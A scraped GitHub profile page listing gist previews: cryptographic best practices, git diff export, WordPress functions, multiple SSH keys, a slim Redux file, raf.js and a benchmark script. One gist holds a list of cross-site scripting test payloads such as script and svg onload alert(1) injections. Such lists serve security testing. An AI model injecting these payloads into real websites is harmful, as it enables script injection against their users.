Skip to content

Instantly share code, notes, and snippets.

View hnq90's full-sized avatar
🎯
Focusing

Huy Nguyen Quang hnq90

🎯
Focusing
View GitHub Profile
@atoponce
atoponce / gist:07d8d4c833873be2f68c34f9afc5a78a
Last active April 25, 2025 13:56 — forked from tqbf/gist:be58d2d39690c3b366ad
Cryptographic Best Practices

Cryptographic Best Practices

Putting cryptographic primitives together is a lot like putting a jigsaw puzzle together, where all the pieces are cut exactly the same way, but there is only one correct solution. Thankfully, there are some projects out there that are working hard to make sure developers are getting it right.

The following advice comes from years of research from leading security researchers, developers, and cryptographers. This Gist was [forked from Thomas Ptacek's Gist][1] to be more readable. Additions have been added from

@vanquang9387
vanquang9387 / git-export.md
Last active July 29, 2024 14:19
git: export diff files between 2 branches/commits

We can get list of changed files between 2 branches/commits by

$ tar --ignore-failed-read -vczf archive.tgz $(git diff --name-only --diff-filter=ACMRT master develop)

Let's see important part:

  1. git diff master develop:
    Get differences between master and develop branches.
@rauchg
rauchg / README.md
Last active April 13, 2025 04:29
require-from-twitter
@yoren
yoren / functions.php
Last active March 21, 2023 23:15
Parent Post From Another Post Type And A New URL Structure In WordPress
<?php
// Flush rewrite rules after switch theme
function my_rewrite_flush() {
flush_rewrite_rules();
}
add_action( 'after_switch_theme', 'my_rewrite_flush' );
// A little help so we can get the stylesheet from parent theme
// Remove line 10-19 if this is not a child theme
function my_enqueue_styles() {
@oanhnn
oanhnn / using-multiple-github-accounts-with-ssh-keys.md
Last active May 7, 2025 02:57
Using multiple github accounts with ssh keys

Problem

I have two Github accounts: oanhnn (personal) and superman (for work). I want to use both accounts on same computer (without typing password everytime, when doing git push or pull).

Solution

Use ssh keys and define host aliases in ssh config file (each alias for an account).

How to?

  1. Generate ssh key pairs for accounts and add them to GitHub accounts.
@gaearon
gaearon / slim-redux.js
Last active December 3, 2024 06:34
Redux without the sanity checks in a single file. Don't use this, use normal Redux. :-)
function mapValues(obj, fn) {
return Object.keys(obj).reduce((result, key) => {
result[key] = fn(obj[key], key);
return result;
}, {});
}
function pick(obj, fn) {
return Object.keys(obj).reduce((result, key) => {
if (fn(obj[key])) {
</script><svg/onload=alert(1)>
;}</script>/*<svg/onload=alert(1)>
"><script>alert(1)</script>
"; alert(1);//
" /><script>alert(1);</script>
<img src='x' onerror='alert(1);' />
<svg/onload=prompt(1)//
8.8.8.8;alert(1);//
test;alert(1);//
A');alert(1);//
@yoren
yoren / functions.php
Created July 24, 2015 15:59
Testing if a post is in a descendant category
<?php
/**
* Tests if any of a post's assigned categories are descendants of target categories
*
* @param int|array $cats The target categories. Integer ID or array of integer IDs
* @param int|object $_post The post. Omit to test the current post in the Loop or main query
* @return bool True if at least 1 of the post's categories is a descendant of any of the target categories
* @see get_term_by() You can get a category by name or slug, then pass ID to this function
* @uses get_term_children() Passes $cats
* @uses in_category() Passes $_post (can be empty)
@remy
remy / _README.md
Last active January 12, 2024 11:57
requestAnimationFrame helper

raf.js

A simple script with a few niceties that allows for multiple requestAnimationFrame calls, and FPS pinning.

How it works

The script polyfills rAF if required, then overloads requestAnimationFrame and cancelAnimationFrame with a process that allows multiple frames to be queued up for rAF to run.

This is useful if there are multiple animations running on the page, you want all the callbacks to happen at once, and not on multiple rAF calls. This script is meant as a drop-in solution to that problem.

@hieuk09
hieuk09 / runner.sh
Last active August 29, 2015 14:23
Runner for json serializer benchmark
#!/bin/bash
array=("master" "acts_as_api" "active_model_serializers" "jbuilder" "jbuilder_with_partial" "rabl" "roar")
for i in "${array[@]}"
do
env -i git checkout $i
rspec
done